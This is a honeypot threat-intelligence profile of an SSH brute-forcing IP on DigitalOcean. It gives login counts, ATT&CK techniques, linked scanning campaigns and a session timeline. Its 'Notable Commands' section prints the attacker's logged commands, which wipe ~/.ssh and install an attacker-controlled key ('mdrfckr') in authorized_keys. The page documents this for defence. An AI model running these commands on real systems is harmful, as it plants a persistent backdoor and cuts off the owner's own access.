IntrusionLabs IntrusionLabs
← Back to feed

167.99.98.129

TAGGED SUSPICIOUS how we decide →
Why: Our sensors observed credential harvester sessions · certainty: inferred
Threat Confidence
56%
Assessment
SSH password brute-forcer
  • Logged in with 20 different credentials across 38 logins.
  • Downloaded 19 files and ran 57 commands on the host.
  • Part of a 251-IP campaign probing the same targets.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇺🇸 US / Santa Clara
ASN
AS14061 · DigitalOcean, LLC
Cloud Provider
DigitalOcean
Total Events
547
Top 10% by volume
Agent Count
2
First / Last Seen
2026-10-04 13:01 — 2026-10-06 05:19
Attack Types
ssh:bruteforce ssh:malware
MITRE ATT&CK Techniques
Reconnaissance
T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Command and Control
T1105
External Corroboration
Blocklist.de
Reported 2026-10-19 05:01
blocklist_de:reported
Campaigns
Multi-Agent Scan SCAN Active medium
127 IPs 530867 events
2026-10-05 — ongoing · 127 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
96 IPs 200205 events
2026-10-02 — ongoing · 96 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
180 IPs 297685 events
2026-09-28 — ongoing · 180 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
201 IPs 522926 events
2026-09-25 — ongoing · 201 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
204 IPs 781973 events
2026-09-17 — ongoing · 204 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
218 IPs 579416 events
2026-09-14 — ongoing · 218 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
223 IPs 634244 events
2026-09-14 — ongoing · 223 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
228 IPs 655728 events
2026-09-14 — ongoing · 228 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
174 IPs 529437 events
2026-08-16 — ongoing · 174 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
188 IPs 261897 events
2026-08-06 — ongoing · 188 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
27 IPs 98189 events
2026-07-26 — ongoing · 27 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
169 IPs 609728 events
2026-06-28 — ongoing · 169 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
212 IPs 519000 events
2026-06-07 — ongoing · 212 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
132 IPs 494167 events
2026-05-16 — ongoing · 132 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
203 IPs 600810 events
2026-05-16 — ongoing · 203 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
132 IPs 642132 events
2026-04-15 — ongoing · 132 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
152 IPs 502817 events
2026-04-15 — ongoing · 152 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
223 IPs 592213 events
2026-04-15 — ongoing · 223 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
139 IPs 660616 events
2026-04-15 — ongoing · 139 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
129 IPs 570305 events
2026-04-15 — ongoing · 129 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
117 IPs 185332 events
2026-04-15 — ongoing · 117 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
177 IPs 683505 events
2026-04-15 — ongoing · 177 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
172 IPs 554787 events
2026-04-06 — ongoing · 172 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
175 IPs 409511 events
2026-03-21 — ongoing · 175 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
186 IPs 718697 events
2026-03-09 — ongoing · 186 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
226 IPs 573388 events
2026-03-09 — ongoing · 226 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
99 IPs 162304 events
2026-03-09 — ongoing · 99 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
174 IPs 459120 events
2026-03-09 — ongoing · 174 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
183 IPs 544992 events
2026-03-09 — ongoing · 183 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
199 IPs 698655 events
2026-03-09 — ongoing · 199 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
235 IPs 617965 events
2026-03-09 — ongoing · 235 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
196 IPs 463685 events
2026-03-09 — ongoing · 196 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan SCAN Active medium
145 IPs 284517 events
2026-03-09 — ongoing · 145 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
171 IPs 600669 events
2026-03-09 — ongoing · 171 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
146 IPs 441081 events
2026-03-08 — ongoing · 146 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
104 IPs 269314 events
2026-03-08 — ongoing · 104 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
81 IPs 111260 events
2026-03-08 — ongoing · 81 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
251 IPs 718410 events
2026-03-08 — ongoing · 251 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
198 IPs 277835 events
2026-03-08 — ongoing · 198 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
239 IPs 632595 events
2026-03-02 — ongoing · 239 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
200 IPs 530905 events
2026-03-01 — ongoing · 200 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
164 IPs 561736 events
2026-03-01 — ongoing · 164 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
161 IPs 248829 events
2026-02-27 — ongoing · 161 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
148 IPs 188989 events
2026-02-26 — ongoing · 148 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Session Forensics
malware_dropper ×19 credential_probe ×41 opportunistic_bruter ×19
Sessions
79 (38 with login)
Avg Depth Score
0.46
Commands Executed
57
Files Downloaded
19
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
1 SSH client banner · 1 HASSH fingerprint
HASSH
f555226df1963d1d3c09daf865abdc9a
SSH Client
SSH-2.0-libssh_0.9.6
Evidence Timeline
Opportunistic Bruter 851d1228bcd4 newark_01 · 2026-10-06 05:19
1 50%
Loading events...
Malware Dropper 0c220a4c1233 newark_01 · 2026-10-06 05:19
3 1 1 100%
Loading events...
Credential Probe b36711f85d01 newark_01 · 2026-10-06 05:19
1 20%
Loading events...
Credential Probe ab6dce91b5fe newark_01 · 2026-10-05 17:51
1 20%
Loading events...
Opportunistic Bruter b3f63e6a38b2 newark_01 · 2026-10-05 17:50
1 50%
Loading events...
Malware Dropper 87ade083af94 newark_01 · 2026-10-05 17:50
3 1 1 100%
Loading events...
Credential Probe cd13d4069b97 newark_01 · 2026-10-05 17:50
1 20%
Loading events...
Credential Probe 102fdb214435 newark_01 · 2026-10-05 17:49
1 20%
Loading events...
Opportunistic Bruter 5bcc9bff824f newark_01 · 2026-10-05 17:48
1 50%
Loading events...
Malware Dropper 8641038974a4 newark_01 · 2026-10-05 17:48
3 1 1 100%
Loading events...
Credential Probe 5f52cd55708a newark_01 · 2026-10-05 17:48
1 20%
Loading events...
Opportunistic Bruter 25c4456a47c3 newark_01 · 2026-10-05 17:46
1 50%
Loading events...
Malware Dropper b2fa2f432a49 newark_01 · 2026-10-05 17:46
3 1 1 100%
Loading events...
Credential Probe d23076986a17 newark_01 · 2026-10-05 17:46
1 20%
Loading events...
Credential Probe 66764f610531 newark_01 · 2026-10-05 17:45
1 20%
Loading events...
Malware Dropper 3d99838c7bbe newark_01 · 2026-10-05 17:44
3 1 1 100%
Loading events...
Opportunistic Bruter f70104981b96 newark_01 · 2026-10-05 17:44
1 50%
Loading events...
Credential Probe 0b4651444008 newark_01 · 2026-10-05 17:44
1 20%
Loading events...
Credential Probe a7ffe86b4291 newark_01 · 2026-10-05 17:43
1 20%
Loading events...
Credential Probe 7fff90a64bb9 newark_01 · 2026-10-05 17:41
1 20%
Loading events...
Opportunistic Bruter 3738b1d9b27d newark_01 · 2026-10-05 17:40
1 50%
Loading events...
Malware Dropper 50fa79a1cdb9 newark_01 · 2026-10-05 17:40
3 1 1 100%
Loading events...
Credential Probe fe28aa350139 newark_01 · 2026-10-05 17:40
1 20%
Loading events...
Opportunistic Bruter 7c95e57499c6 newark_01 · 2026-10-05 17:39
1 50%
Loading events...
Malware Dropper b2ac9454c216 newark_01 · 2026-10-05 17:39
3 1 1 100%
Loading events...
Credential Probe 123ad312f17d newark_01 · 2026-10-05 17:39
1 20%
Loading events...
Opportunistic Bruter a4b40d9db67e newark_01 · 2026-10-05 17:37
1 50%
Loading events...
Malware Dropper fbf3f1c097f2 newark_01 · 2026-10-05 17:37
3 1 1 100%
Loading events...
Credential Probe f57a67430016 newark_01 · 2026-10-05 17:37
1 20%
Loading events...
Credential Probe a31c11c3da22 newark_01 · 2026-10-05 17:36
1 20%
Loading events...
Credential Probe 45a810eb7ec7 newark_01 · 2026-10-05 17:35
1 20%
Loading events...
Credential Probe 9d2350600295 newark_01 · 2026-10-05 17:34
1 20%
Loading events...
Credential Probe a65b09689241 newark_01 · 2026-10-05 17:32
1 20%
Loading events...
Opportunistic Bruter ab1cc2559244 newark_01 · 2026-10-05 17:31
1 50%
Loading events...
Malware Dropper 21519b86d7c0 newark_01 · 2026-10-05 17:31
3 1 1 100%
Loading events...
Credential Probe f0b3e7da6361 newark_01 · 2026-10-05 17:31
1 20%
Loading events...
Credential Probe bd9e69757f10 newark_01 · 2026-10-05 17:30
1 20%
Loading events...
Opportunistic Bruter dceba4c65b29 newark_01 · 2026-10-05 17:29
1 50%
Loading events...
Malware Dropper ac6d02a661d3 newark_01 · 2026-10-05 17:28
3 1 1 100%
Loading events...
Credential Probe 3d4c460a1b42 newark_01 · 2026-10-05 17:28
1 20%
Loading events...
Credential Probe 0afba24b4b48 newark_01 · 2026-10-05 17:26
1 20%
Loading events...
Credential Probe b194db07af9b w4m_seattle_01 · 2026-10-04 13:30
1 20%
Loading events...
Opportunistic Bruter ae1191d6c8e7 w4m_seattle_01 · 2026-10-04 13:29
1 50%
Loading events...
Malware Dropper a7a0d213f5c5 w4m_seattle_01 · 2026-10-04 13:29
3 1 1 100%
Loading events...
Credential Probe 872475bd5fd0 w4m_seattle_01 · 2026-10-04 13:29
1 20%
Loading events...
Credential Probe 3cb7eabdfc59 w4m_seattle_01 · 2026-10-04 13:27
1 20%
Loading events...
Credential Probe 75c1be8bc6f9 w4m_seattle_01 · 2026-10-04 13:26
1 20%
Loading events...
Opportunistic Bruter cafd04d23c03 w4m_seattle_01 · 2026-10-04 13:25
1 50%
Loading events...
Malware Dropper 6b609469896e w4m_seattle_01 · 2026-10-04 13:25
3 1 1 100%
Loading events...
Credential Probe 91086ba1d096 w4m_seattle_01 · 2026-10-04 13:25
1 20%
Loading events...